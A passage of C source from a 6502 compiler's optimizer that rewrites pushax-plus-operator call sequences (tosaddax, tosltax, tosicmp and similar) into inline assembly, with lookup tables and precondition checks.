Remove the push and the call to the tosgeax function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } static unsigned Opt_tosltax (StackOpData* D) /* Optimize the tosltax sequence */ { CodeEntry* X; CodeLabel* L; /* Inline the compare */ D->IP = D->OpIndex+1; /* Must be true because of OP_RHS_LOAD */ CHECK ((D->Rhs.A.Flags & D->Rhs.X.Flags & LI_DIRECT) != 0); /* Add code for low operand */ AddOpLow (D, OP65_CMP, &D->Rhs); /* Add code for high operand */ AddOpHigh (D, OP65_SBC, &D->Rhs, 0); /* eor #$80 */ X = NewCodeEntry (OP65_EOR, AM65_IMM, "$80", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* asl a */ X = NewCodeEntry (OP65_ASL, AM65_ACC, "a", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); L = CS_GenLabel (D->Code, X); /* Insert a bvc L before the eor insn */ X = NewCodeEntry (OP65_BVC, AM65_BRA, L->Name, L, D->OpEntry->LI); InsertEntry (D, X, D->IP - 2); ++D->IP; /* lda #$00 */ X = NewCodeEntry (OP65_LDA, AM65_IMM, "$00", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* ldx #$00 */ X = NewCodeEntry (OP65_LDX, AM65_IMM, "$00", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* rol a */ X = NewCodeEntry (OP65_ROL, AM65_ACC, "a", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Rhs load entries must be removed */ D->Rhs.X.Flags |= LI_REMOVE; D->Rhs.A.Flags |= LI_REMOVE; /* Remove the push and the call to the tosltax function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } static unsigned Opt_tosneax (StackOpData* D) /* Optimize the tosneax sequence */ { return Opt_toseqax_tosneax (D, "boolne"); } static unsigned Opt_tosorax (StackOpData* D) /* Optimize the tosorax sequence */ { /* Store the value into the zeropage instead of pushing it */ ReplacePushByStore (D); /* Inline the or, low byte */ D->IP = D->OpIndex + 1; AddOpLow (D, OP65_ORA, &D->Lhs); /* High byte */ AddOpHigh (D, OP65_ORA, &D->Lhs, 1); /* Remove the push and the call to the tosorax function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } static unsigned Opt_tosshlax (StackOpData* D) /* Optimize the tosshlax sequence */ { return Opt_tosshift (D, "shlaxy"); } static unsigned Opt_tosshrax (StackOpData* D) /* Optimize the tosshrax sequence */ { return Opt_tosshift (D, "shraxy"); } static unsigned Opt_tossubax (StackOpData* D) /* Optimize the tossubax sequence. Note: subtraction is not commutative! */ { CodeEntry* X; /* Inline the sbc */ D->IP = D->OpIndex+1; /* sec */ X = NewCodeEntry (OP65_SEC, AM65_IMP, 0, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Must be true because of OP_RHS_LOAD */ CHECK ((D->Rhs.A.Flags & D->Rhs.X.Flags & LI_DIRECT) != 0); /* Add code for low operand */ AddOpLow (D, OP65_SBC, &D->Rhs); /* Add code for high operand */ AddOpHigh (D, OP65_SBC, &D->Rhs, 1); /* Rhs load entries must be removed */ D->Rhs.X.Flags |= LI_REMOVE; D->Rhs.A.Flags |= LI_REMOVE; /* Remove the push and the call to the tossubax function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } static unsigned Opt_tosugeax (StackOpData* D) /* Optimize the tosugeax sequence */ { CodeEntry* X; /* Inline the sbc */ D->IP = D->OpIndex+1; /* Must be true because of OP_RHS_LOAD */ CHECK ((D->Rhs.A.Flags & D->Rhs.X.Flags & LI_DIRECT) != 0); /* Add code for low operand */ AddOpLow (D, OP65_CMP, &D->Rhs); /* Add code for high operand */ AddOpHigh (D, OP65_SBC, &D->Rhs, 0); /* lda #$00 */ X = NewCodeEntry (OP65_LDA, AM65_IMM, "$00", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* ldx #$00 */ X = NewCodeEntry (OP65_LDX, AM65_IMM, "$00", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* rol a */ X = NewCodeEntry (OP65_ROL, AM65_ACC, "a", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Rhs load entries must be removed */ D->Rhs.X.Flags |= LI_REMOVE; D->Rhs.A.Flags |= LI_REMOVE; /* Remove the push and the call to the tosugeax function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } static unsigned Opt_tosugtax (StackOpData* D) /* Optimize the tosugtax sequence */ { CodeEntry* X; /* Inline the sbc */ D->IP = D->OpIndex+1; /* Must be true because of OP_RHS_LOAD */ CHECK ((D->Rhs.A.Flags & D->Rhs.X.Flags & LI_DIRECT) != 0); /* sec */ X = NewCodeEntry (OP65_SEC, AM65_IMP, 0, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Add code for low operand */ AddOpLow (D, OP65_SBC, &D->Rhs); /* We need the zero flag, so remember the immediate result */ X = NewCodeEntry (OP65_STA, AM65_ZP, "tmp1", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Add code for high operand */ AddOpHigh (D, OP65_SBC, &D->Rhs, 0); /* Set Z flag */ X = NewCodeEntry (OP65_ORA, AM65_ZP, "tmp1", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Transform to boolean */ X = NewCodeEntry (OP65_JSR, AM65_ABS, "boolugt", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Rhs load entries must be removed */ D->Rhs.X.Flags |= LI_REMOVE; D->Rhs.A.Flags |= LI_REMOVE; /* Remove the push and the call to the operator function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } static unsigned Opt_tosuleax (StackOpData* D) /* Optimize the tosuleax sequence */ { CodeEntry* X; /* Inline the sbc */ D->IP = D->OpIndex+1; /* Must be true because of OP_RHS_LOAD */ CHECK ((D->Rhs.A.Flags & D->Rhs.X.Flags & LI_DIRECT) != 0); /* sec */ X = NewCodeEntry (OP65_SEC, AM65_IMP, 0, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Add code for low operand */ AddOpLow (D, OP65_SBC, &D->Rhs); /* We need the zero flag, so remember the immediate result */ X = NewCodeEntry (OP65_STA, AM65_ZP, "tmp1", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Add code for high operand */ AddOpHigh (D, OP65_SBC, &D->Rhs, 0); /* Set Z flag */ X = NewCodeEntry (OP65_ORA, AM65_ZP, "tmp1", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Transform to boolean */ X = NewCodeEntry (OP65_JSR, AM65_ABS, "boolule", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Rhs load entries must be removed */ D->Rhs.X.Flags |= LI_REMOVE; D->Rhs.A.Flags |= LI_REMOVE; /* Remove the push and the call to the operator function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } static unsigned Opt_tosultax (StackOpData* D) /* Optimize the tosultax sequence */ { CodeEntry* X; /* Inline the sbc */ D->IP = D->OpIndex+1; /* Must be true because of OP_RHS_LOAD */ CHECK ((D->Rhs.A.Flags & D->Rhs.X.Flags & LI_DIRECT) != 0); /* Add code for low operand */ AddOpLow (D, OP65_CMP, &D->Rhs); /* Add code for high operand */ AddOpHigh (D, OP65_SBC, &D->Rhs, 0); /* Transform to boolean */ X = NewCodeEntry (OP65_JSR, AM65_ABS, "boolult", 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Rhs load entries must be removed */ D->Rhs.X.Flags |= LI_REMOVE; D->Rhs.A.Flags |= LI_REMOVE; /* Remove the push and the call to the operator function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } static unsigned Opt_tosxorax (StackOpData* D) /* Optimize the tosxorax sequence */ { CodeEntry* X; /* Store the value into the zeropage instead of pushing it */ ReplacePushByStore (D); /* Inline the xor, low byte */ D->IP = D->OpIndex + 1; AddOpLow (D, OP65_EOR, &D->Lhs); /* High byte */ if (RegValIsKnown (D->PushEntry->RI->In.RegX) && RegValIsKnown (D->OpEntry->RI->In.RegX)) { /* Both values known, precalculate the result */ const char* Arg = MakeHexArg (D->PushEntry->RI->In.RegX ^ D->OpEntry->RI->In.RegX); X = NewCodeEntry (OP65_LDX, AM65_IMM, Arg, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); } else if (D->PushEntry->RI->In.RegX != 0) { /* High byte is unknown */ AddOpHigh (D, OP65_EOR, &D->Lhs, 1); } /* Remove the push and the call to the tosandax function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } /*****************************************************************************/ /* Optimization functions when hi-bytes can be ignored */ /*****************************************************************************/ static unsigned Opt_a_toscmpbool (StackOpData* D, const char* BoolTransformer) /* Optimize the TOS compare sequence with a bool transformer */ { CodeEntry* X; cmp_t Cond; D->IP = D->OpIndex + 1; if (!D->RhsMultiChg && (D->Rhs.A.Flags & LI_DIRECT) != 0 && (D->Rhs.A.LoadEntry->Flags & CEF_DONT_REMOVE) == 0) { /* cmp */ AddOpLow (D, OP65_CMP, &D->Rhs); /* Rhs low-byte load must be removed and hi-byte load may be removed */ D->Rhs.X.Flags |= LI_REMOVE; D->Rhs.A.Flags |= LI_REMOVE; } else if ((D->Lhs.A.Flags & LI_DIRECT) != 0) { /* If the lhs is direct (but not stack relative), encode compares with lhs, ** effectively reversing the order (which doesn't matter for == and !=). */ Cond = FindBoolCmpCond (BoolTransformer); Cond = GetRevertedCond (Cond); BoolTransformer = GetBoolTransformer (Cond); /* This shouldn't fail */ CHECK (BoolTransformer); /* cmp */ AddOpLow (D, OP65_CMP, &D->Lhs); /* Lhs load entries can be removed if not used later */ D->Lhs.X.Flags |= LI_REMOVE; D->Lhs.A.Flags |= LI_REMOVE; } else { /* We'll do reverse-compare */ Cond = FindBoolCmpCond (BoolTransformer); Cond = GetRevertedCond (Cond); BoolTransformer = GetBoolTransformer (Cond); /* This shouldn't fail */ CHECK (BoolTransformer); /* Save lhs into zeropage */ AddStoreLhsA (D); /* AddStoreLhsA may have moved the OpIndex, recalculate insertion point to prevent label migration. */ D->IP = D->OpIndex + 1; /* cmp */ X = NewCodeEntry (OP65_CMP, AM65_ZP, D->ZPLo, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); } /* Create a call to the boolean transformer function. This is needed for all ** variants. */ X = NewCodeEntry (OP65_JSR, AM65_ABS, BoolTransformer, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* Remove the push and the call to the TOS function */ RemoveRemainders (D); /* We changed the sequence */ return 1; } static unsigned Opt_a_toseq (StackOpData* D) /* Optimize the toseqax sequence */ { return Opt_a_toscmpbool (D, "booleq"); } static unsigned Opt_a_tosicmp (StackOpData* D) /* Replace tosicmp with CMP */ { CodeEntry* X; RegInfo* RI; const char* Arg; if (!SameRegAValue (D)) { /* Because of SameRegAValue */ CHECK (D->Rhs.A.ChgIndex >= 0); /* Store LHS in ZP and reload it before op */ X = NewCodeEntry (OP65_STA, AM65_ZP, D->ZPLo, 0, D->PushEntry->LI); InsertEntry (D, X, D->PushIndex + 1); X = NewCodeEntry (OP65_LDA, AM65_ZP, D->ZPLo, 0, D->PushEntry->LI); InsertEntry (D, X, D->OpIndex); D->IP = D->OpIndex + 1; if ((D->Rhs.A.Flags & LI_DIRECT) == 0) { /* RHS src is not directly comparable */ X = NewCodeEntry (OP65_STA, AM65_ZP, D->ZPHi, 0, D->OpEntry->LI); InsertEntry (D, X, D->Rhs.A.ChgIndex + 1); /* RHS insertion may have moved the OpIndex, recalculate insertion point to prevent label migration. */ D->IP = D->OpIndex + 1; /* Cmp with stored RHS */ X = NewCodeEntry (OP65_CMP, AM65_ZP, D->ZPHi, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); } else { if ((D->Rhs.A.Flags & LI_RELOAD_Y) == 0) { /* Cmp directly with RHS src */ X = NewCodeEntry (OP65_CMP, AM65_ZP, D->Rhs.A.LoadEntry->Arg, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); } else { /* ldy #offs */ if ((D->Rhs.A.Flags & LI_CHECK_Y) == 0) { X = NewCodeEntry (OP65_LDY, AM65_IMM, MakeHexArg (D->Rhs.A.Offs), 0, D->OpEntry->LI); } else { X = NewCodeEntry (OP65_LDY, D->Rhs.A.LoadYEntry->AM, D->Rhs.A.LoadYEntry->Arg, 0, D->OpEntry->LI); } InsertEntry (D, X, D->IP++); /* cmp src,y OR cmp (sp),y */ if (D->Rhs.A.LoadEntry->OPC == OP65_JSR) { /* opc (sp),y */ X = NewCodeEntry (OP65_CMP, AM65_ZP_INDY, "sp", 0, D->OpEntry->LI); } else { /* opc src,y */ X = NewCodeEntry (OP65_CMP, D->Rhs.A.LoadEntry->AM, D->Rhs.A.LoadEntry->Arg, 0, D->OpEntry->LI); } InsertEntry (D, X, D->IP++); } /* RHS may be removed */ D->Rhs.A.Flags |= LI_REMOVE; D->Rhs.X.Flags |= LI_REMOVE; } /* Fix up the N/V flags: N = ~C, V = 0 */ Arg = MakeHexArg (0); X = NewCodeEntry (OP65_LDA, AM65_IMM, Arg, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); X = NewCodeEntry (OP65_SBC, AM65_IMM, Arg, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); Arg = MakeHexArg (0x01); X = NewCodeEntry (OP65_ORA, AM65_IMM, Arg, 0, D->OpEntry->LI); InsertEntry (D, X, D->IP++); /* jeq L1 */ CodeLabel* Label = CS_GenLabel (D->Code, CS_GetEntry (D->Code, D->IP)); X = NewCodeEntry (OP65_JEQ, AM65_BRA, Label->Name, Label, X->LI); InsertEntry (D, X, D->IP-3); } else { /* Just clear A,Z,N; and set C */ Arg = MakeHexArg (0); if ((RI = GetLastChangedRegInfo (D, &D->Lhs.A)) != 0 && RegValIsKnown (RI->Out.RegA) && (RI->Out.RegA & 0xFF) == 0) { X = NewCodeEntry (OP65_CMP, AM65_IMM, Arg, 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex + 1); } else { X = NewCodeEntry (OP65_LDA, AM65_IMM, Arg, 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex + 1); X = NewCodeEntry (OP65_CMP, AM65_IMM, Arg, 0, D->OpEntry->LI); InsertEntry (D, X, D->OpIndex + 2); } } /* Remove the push and the call to the operator function */ RemoveRemainders (D); return 1; } static unsigned Opt_a_tosne (StackOpData* D) /* Optimize the tosneax sequence */ { return Opt_a_toscmpbool (D, "boolne"); } static unsigned Opt_a_tosuge (StackOpData* D) /* Optimize the tosgeax and tosugeax sequences */ { return Opt_a_toscmpbool (D, "booluge"); } static unsigned Opt_a_tosugt (StackOpData* D) /* Optimize the tosgtax and tosugtax sequences */ { return Opt_a_toscmpbool (D, "boolugt"); } static unsigned Opt_a_tosule (StackOpData* D) /* Optimize the tosleax and tosuleax sequences */ { return Opt_a_toscmpbool (D, "boolule"); } static unsigned Opt_a_tosult (StackOpData* D) /* Optimize the tosltax and tosultax sequences */ { return Opt_a_toscmpbool (D, "boolult"); } /*****************************************************************************/ /* Code */ /*****************************************************************************/ /* The first column of these two tables must be sorted in lexical order */ static const OptFuncDesc FuncTable[] = { { "___bzero", Opt___bzero, REG_NONE, OP_X_ZERO | OP_A_KNOWN }, { "staspidx", Opt_staspidx, REG_NONE, OP_NONE }, { "staxspidx", Opt_staxspidx, REG_AX, OP_NONE }, { "tosaddax", Opt_tosaddax, REG_NONE, OP_NONE }, { "tosandax", Opt_tosandax, REG_NONE, OP_NONE }, { "tosaslax", Opt_tosaslax, REG_NONE, OP_NONE }, { "tosasrax", Opt_tosasrax, REG_NONE, OP_NONE }, { "toseqax", Opt_toseqax, REG_NONE, OP_LR_INTERCHANGE | OP_RHS_REMOVE_DIRECT }, { "tosgeax", Opt_tosgeax, REG_NONE, OP_RHS_REMOVE_DIRECT | OP_RHS_LOAD_DIRECT }, { "tosltax", Opt_tosltax, REG_NONE, OP_RHS_REMOVE_DIRECT | OP_RHS_LOAD_DIRECT }, { "tosneax", Opt_tosneax, REG_NONE, OP_LR_INTERCHANGE | OP_RHS_REMOVE_DIRECT }, { "tosorax", Opt_tosorax, REG_NONE, OP_NONE }, { "tosshlax", Opt_tosshlax, REG_NONE, OP_NONE }, { "tosshrax", Opt_tosshrax, REG_NONE, OP_NONE }, { "tossubax", Opt_tossubax, REG_NONE, OP_RHS_REMOVE_DIRECT | OP_RHS_LOAD_DIRECT }, { "tosugeax", Opt_tosugeax, REG_NONE, OP_RHS_REMOVE_DIRECT | OP_RHS_LOAD_DIRECT }, { "tosugtax", Opt_tosugtax, REG_NONE, OP_RHS_REMOVE_DIRECT | OP_RHS_LOAD_DIRECT }, { "tosuleax", Opt_tosuleax, REG_NONE, OP_RHS_REMOVE_DIRECT | OP_RHS_LOAD_DIRECT }, { "tosultax", Opt_tosultax, REG_NONE, OP_RHS_REMOVE_DIRECT | OP_RHS_LOAD_DIRECT }, { "tosxorax", Opt_tosxorax, REG_NONE, OP_NONE }, }; static const OptFuncDesc FuncRegATable[] = { { "toseqax", Opt_a_toseq, REG_NONE, OP_NONE }, { "tosgeax", Opt_a_tosuge, REG_NONE, OP_NONE }, { "tosgtax", Opt_a_tosugt, REG_NONE, OP_NONE }, { "tosicmp", Opt_a_tosicmp, REG_NONE, OP_NONE }, { "tosleax", Opt_a_tosule, REG_NONE, OP_NONE }, { "tosltax", Opt_a_tosult, REG_NONE, OP_NONE }, { "tosneax", Opt_a_tosne, REG_NONE, OP_NONE }, { "tosugeax", Opt_a_tosuge, REG_NONE, OP_NONE }, { "tosugtax", Opt_a_tosugt, REG_NONE, OP_NONE }, { "tosuleax", Opt_a_tosule, REG_NONE, OP_NONE }, { "tosultax", Opt_a_tosult, REG_NONE, OP_NONE }, }; #define FUNC_COUNT(Table) (sizeof(Table) / sizeof(Table[0])) static int CmpFunc (const void* Key, const void* Func) /* Compare function for bsearch */ { return strcmp (Key, ((const OptFuncDesc*) Func)->Name); } static const OptFuncDesc* FindFunc (const OptFuncDesc FuncTable[], size_t Count, const char* Name) /* Find the function with the given name. Return a pointer to the table entry ** or NULL if the function was not found. */ { return bsearch (Name, FuncTable, Count, sizeof(OptFuncDesc), CmpFunc); } static int PreCondOk (StackOpData* D) /* Check if the preconditions for a call to the optimizer subfunction are ** satisfied. As a side effect, this function will also choose the zero page ** register to use for temporary storage. */ { LoadInfo* Lhs; LoadInfo* Rhs; LoadRegInfo* LhsLo; LoadRegInfo* LhsHi; LoadRegInfo* RhsLo; LoadRegInfo* RhsHi; short LoVal; short HiVal; int I; int Passed = 0; /* Check the flags */ const OptFuncDesc* Desc = D->OptFunc; unsigned UnusedRegs = Desc->UnusedRegs; if (UnusedRegs != REG_NONE && (GetRegInfo (D->Code, D->OpIndex+1, UnusedRegs) & UnusedRegs) != 0) { /* Cannot optimize */ return 0; } Passed = 0; LoVal = D->OpEntry->RI->In.RegA; HiVal = D->OpEntry->RI->In.RegX; /* Check normally first, then interchange A/X and check again if necessary */ for (I = (Desc->Flags & OP_AX_INTERCHANGE ? 0 : 1); !Passed && I < 2; ++I) { do { if ((Desc->Flags & OP_A_KNOWN) != 0 && RegValIsUnknown (LoVal)) { /* Cannot optimize */ break; } if ((Desc->Flags & OP_X_ZERO) != 0 && HiVal != 0) { /* Cannot optimize */ break; } Passed = 1; } while (0); /* Interchange A/X */ LoVal = D->OpEntry->RI->In.RegX; HiVal = D->OpEntry->RI->In.RegA; } if (!Passed) { /* Cannot optimize */ return 0; } Passed = 0; Lhs = &D->Lhs; Rhs = &D->Rhs; /* Check normally first, then interchange LHS/RHS and check again if necessary */ for (I = (Desc->Flags & OP_LR_INTERCHANGE ? 0 : 1); !Passed && I < 2; ++I) { do { LhsLo = &Lhs->A; LhsHi = &Lhs->X; RhsLo = &Rhs->A; RhsHi = &Rhs->X; /* Currently we have only LHS/RHS checks with identical requirements for A/X, ** so we don't need to check twice for now. */ if ((Desc->Flags & OP_LHS_LOAD) != 0) { if ((LhsLo->Flags & LhsHi->Flags & LI_LOAD_INSN) == 0) { /* Cannot optimize */ break; } else if ((Desc->Flags & OP_LHS_LOAD_DIRECT) != 0) { if ((LhsLo->Flags & LhsHi->Flags & LI_DIRECT) == 0) { /* Cannot optimize */ break; } } } if ((Desc->Flags & OP_RHS_LOAD) != 0) { if ((RhsLo->Flags & RhsHi->Flags & LI_LOAD_INSN) == 0) { /* Cannot optimize */ break; } else if ((Desc->Flags & OP_RHS_LOAD_DIRECT) != 0) { if ((RhsLo->Flags & RhsHi->Flags & LI_DIRECT) == 0) { /* Cannot optimize */ break; } } } if ((Desc->Flags & OP_LHS_REMOVE) != 0) { /* Check if the load entries cannot be removed */ if ((LhsLo->LoadEntry != 0 && (LhsLo->LoadEntry->Flags & CEF_DONT_REMOVE) != 0) || (LhsHi->LoadEntry != 0 && (LhsHi->LoadEntry->Flags & CEF_DONT_REMOVE) != 0)) { if ((Desc->Flags & OP_LHS_REMOVE_DIRECT) != 0) { /* Cannot optimize */ break; } } } if ((Desc->Flags & OP_RHS_REMOVE) != 0) { if ((RhsLo->LoadEntry != 0 && (RhsLo->LoadEntry->Flags & CEF_DONT_REMOVE) != 0) || (RhsHi->LoadEntry != 0 && (RhsHi->LoadEntry->Flags & CEF_DONT_REMOVE) != 0)) { if ((Desc->Flags & OP_RHS_REMOVE_DIRECT) != 0) { /* Cannot optimize */ break; } } } if (D->RhsMultiChg && (Desc->Flags & OP_RHS_REMOVE_DIRECT) != 0) { /* Cannot optimize */ break; } Passed = 1; } while (0); /* Interchange LHS/RHS for next round */ Lhs = &D->Rhs; Rhs = &D->Lhs; } if (!Passed) { /* Cannot optimize */ return 0; } /* Determine the zero page locations to use. We've tracked the used ** ZP locations, so try to find some for us that are unused. */ if ((D->ZPUsage & REG_PTR1) == REG_NONE) { D->ZPLo = "ptr1"; D->ZPHi = "ptr1+1"; } else if ((D->ZPUsage & REG_SREG) == REG_NONE) { D->ZPLo = "sreg"; D->ZPHi = "sreg+1"; } else if ((D->ZPUsage & REG_PTR2) == REG_NONE) { D->ZPLo = "ptr2"; D->ZPHi = "ptr2+1"; } else { /* No registers available */ return 0; } /* Determine if we have a basic block */ return CS_IsBasicBlock (D->Code, D->PushIndex, D->OpIndex); } static int RegAPreCondOk (StackOpData* D) /* Check if the preconditions for a call to the RegA-only optimizer subfunction ** are satisfied. As a side effect, this function will also choose the zero page ** register to use for temporary storage. */ { LoadInfo* Lhs; LoadInfo* Rhs; LoadRegInfo* LhsLo; LoadRegInfo* RhsLo; short LhsLoVal, LhsHiVal; short RhsLoVal, RhsHiVal; int I; int Passed = 0; /* Check the flags */ const OptFuncDesc* Desc = D->OptFunc; unsigned UnusedRegs = Desc->UnusedRegs; if (UnusedRegs != REG_NONE && (GetRegInfo (D->Code, D->OpIndex+1, UnusedRegs) & UnusedRegs) != 0) { /* Cannot optimize */ return 0; } Passed = 0; LhsLoVal = D->PushEntry->RI->In.RegA; LhsHiVal = D->PushEntry->RI->In.RegX; RhsLoVal = D->OpEntry->RI->In.RegA; RhsHiVal = D->OpEntry->RI->In.RegX; /* Check normally first, then interchange A/X and check again if necessary */ for (I = (Desc->Flags & OP_AX_INTERCHANGE ? 0 : 1); !Passed && I < 2; ++I) { do { if (LhsHiVal != RhsHiVal) { /* Cannot optimize */ break; } if ((Desc->Flags & OP_A_KNOWN) != 0 && RegValIsUnknown (LhsLoVal)) { /* Cannot optimize */ break; } if ((Desc->Flags & OP_X_ZERO) != 0 && LhsHiVal != 0) { /* Cannot optimize */ break; } Passed = 1; } while (0); /* Suppress warning about unused assignment in GCC */ (void)RhsLoVal; /* Interchange A/X */ LhsLoVal = D->PushEntry->RI->In.RegX; LhsHiVal = D->PushEntry->RI->In.RegA; RhsLoVal = D->OpEntry->RI->In.RegX; RhsHiVal = D->OpEntry->RI->In.RegA; } if (!Passed) { /* Cannot optimize */ return 0; } Passed = 0; Lhs = &D->Lhs; Rhs = &D->Rhs; /* Check normally first, then interchange LHS/RHS and check again if necessary */ for (I = (Desc->Flags & OP_LR_INTERCHANGE ? 0 : 1); !Passed && I < 2; ++I) { do { LhsLo = &Lhs->A; RhsLo = &Rhs->A; /* Currently we have only LHS/RHS checks with identical requirements for A/X, ** so we don't need to check twice for now. */ if ((Desc->Flags & OP_LHS_LOAD) != 0) { if ((LhsLo->Flags & LI_LOAD_INSN) == 0) { /* Cannot optimize */ break; } else if ((Desc->Flags & OP_LHS_LOAD_DIRECT) != 0) { if ((LhsLo->Flags & LI_DIRECT) == 0) { /* Cannot optimize */ break; } } } if ((Desc->Flags & OP_RHS_LOAD) != 0) { if ((RhsLo->Flags & LI_LOAD_INSN) == 0) { /* Cannot optimize */ break; } else if ((Desc->Flags & OP_RHS_LOAD_DIRECT) != 0) { if ((RhsLo->Flags & LI_DIRECT) == 0) { /* Cannot optimize */ break; } } } if ((Desc->Flags & OP_LHS_REMOVE) != 0) { /* Check if the load entries cannot be removed */ if ((LhsLo->LoadEntry != 0 && (LhsLo->LoadEntry->Flags & CEF_DONT_REMOVE) != 0)) { if ((Desc->Flags & OP_LHS_REMOVE_DIRECT) != 0) { /* Cannot optimize */ break; } } } if ((Desc->Flags & OP_RHS_REMOVE) != 0) { if ((RhsLo->LoadEntry != 0 && (RhsLo->LoadEntry->Flags & CEF_DONT_REMOVE) != 0)) { if ((Desc->Flags & OP_RHS_REMOVE_DIRECT) != 0) { /* Cannot optimize */ break; } } } if (D->RhsMultiChg && (Desc->Flags & OP_RHS_REMOVE_DIRECT) != 0) { /* Cannot optimize */ break; } Passed = 1; } while (0); /* Interchange LHS/RHS for next round */ Lhs = &D->Rhs; Rhs = &D->Lhs; } if (!Passed) { /* Cannot optimize */ return 0; } /* Determine the zero page locations to use. We've tracked the used ** ZP locations, so try to find some for us that are unused. */ if ((D->ZPUsage & REG_PTR1) == REG_NONE) { D->ZPLo = "ptr1"; D->ZPHi = "ptr1+1"; } else if ((D->ZPUsage & REG_SREG) == REG_NONE) { D->ZPLo = "sreg"; D->ZPHi = "sreg+1"; } else if ((D->ZPUsage & REG_PTR2) == REG_NONE) { D->ZPLo = "ptr2"; D->ZPHi = "ptr2+1"; } else { /* No registers available */ return 0; } /* Determine if we have a basic block */ return CS_IsBasicBlock (D->Code, D->PushIndex, D->OpIndex); } /*****************************************************************************/ /* Code */ /*****************************************************************************/ unsigned OptStackOps (CodeSeg* S) /* Optimize operations that take operands via the stack */ { unsigned Changes = 0; /* Number of changes in one run */ StackOpData Data; int I; int OldEntryCount; /* Old number of entries */ unsigned Used; /* What registers would be used */ unsigned PushedRegs = 0; /* Track if the same regs are used after the push */ int RhsAChgIndex; /* Track if rhs is changed more than once */ int RhsXChgIndex; /* Track if rhs is changed more than once */ int IsRegAOptFunc = 0; /* Whether to use the RegA-only optimizations */ enum { Initialize, Search, FoundPush, FoundOp } State = Initialize; /* Remember the code segment in the info struct */ Data.Code = S; /* Look for a call to pushax followed by a call to some other function ** that takes it's first argument on the stack, and the second argument ** in the primary register. ** It depends on the code between the two if we can handle/transform the ** sequence, so check this code for the following list of things: ** ** - the range must be a basic block (one entry, one exit) ** - there may not be accesses to local variables with unknown ** offsets (because we have to adjust these offsets). ** - no subroutine calls ** - no jump labels ** ** Since we need a zero page register later, do also check the ** intermediate code for zero page use. ** When hibytes of both oprands are equal, we may have more specialized ** optimization for the op. */ I = 0; while (I < (int)CS_GetEntryCount (S)) { /* Get the next entry */ CodeEntry* E = CS_GetEntry (S, I); /* Actions depend on state */ switch (State) { case Initialize: ResetStackOpData (&Data); State = Search; /* FALLTHROUGH */ case Search: /* While searching, track register load insns, so we can tell ** what is in a register once pushax is encountered. */ if (CE_HasLabel (E)) { /* Currently we don't track across branches. ** Treat this as a change to all regs. */ ClearLoadInfo (&Data.Lhs); Data.Lhs.A.ChgIndex = I; Data.Lhs.X.ChgIndex = I; Data.Lhs.Y.ChgIndex = I; } if (CE_IsCallTo (E, "pushax")) { /* Disallow removing Lhs loads if the registers are used */ SetIfOperandLoadUnremovable (&Data.Lhs, Data.UsedRegs); /* The Lhs regs are also used as the default Rhs until changed */ PushedRegs = REG_AXY; CopyLoadInfo (&Data.Rhs, &Data.Lhs); Data.PushIndex = I; Data.PushEntry = E; State = FoundPush; } else { /* Track load insns */ Used = TrackLoads (&Data.Lhs, S, I); Data.UsedRegs &= ~E->Chg; Data.UsedRegs |= Used; } break; case FoundPush: /* We' found a pushax before. Search for a stack op that may ** follow and in the meantime, track zeropage usage and check ** for code that will disable us from translating the sequence. */ if (CE_HasLabel (E)) { /* Currently we don't track across branches. ** Treat this as a change to all regs. */ ClearLoadInfo (&Data.Rhs); Data.Rhs.A.ChgIndex = I; Data.Rhs.X.ChgIndex = I; Data.Rhs.Y.ChgIndex = I; } if (E->OPC == OP65_JSR) { /* Subroutine call: Check if this is one of the functions, ** we're going to replace. */ if (SameRegXValue (&Data)) { Data.OptFunc = FindFunc (FuncRegATable, FUNC_COUNT (FuncRegATable), E->Arg); IsRegAOptFunc = 1; } if (Data.OptFunc == 0) { Data.OptFunc = FindFunc (FuncTable, FUNC_COUNT (FuncTable), E->Arg); IsRegAOptFunc = 0; } if (Data.OptFunc) { /* Disallow removing Rhs loads if the registers are used */ SetIfOperandLoadUnremovable (&Data.Rhs, Data.UsedRegs); /* Remember the op index and go on */ Data.OpIndex = I; Data.OpEntry = E; State = FoundOp; break; } else if (!HarmlessCall (E, 2)) { /* The call might use or change the content that we are ** going to access later via the stack pointer. In any ** case, we need to start over after the last pushax. ** Note: This will also happen if we encounter a call ** to pushax! */ I = Data.PushIndex; State = Initialize; break; } } else if (((E->Chg | E->Use) & REG_SP) != 0) { /* If we are using the stack, and we don't have "indirect Y" ** addressing mode, or the value of Y is unknown, or less ** than two, we cannot cope with this piece of code. Having ** an unknown value of Y means that we cannot correct the ** stack offset, while having an offset less than two means ** that the code works with the value 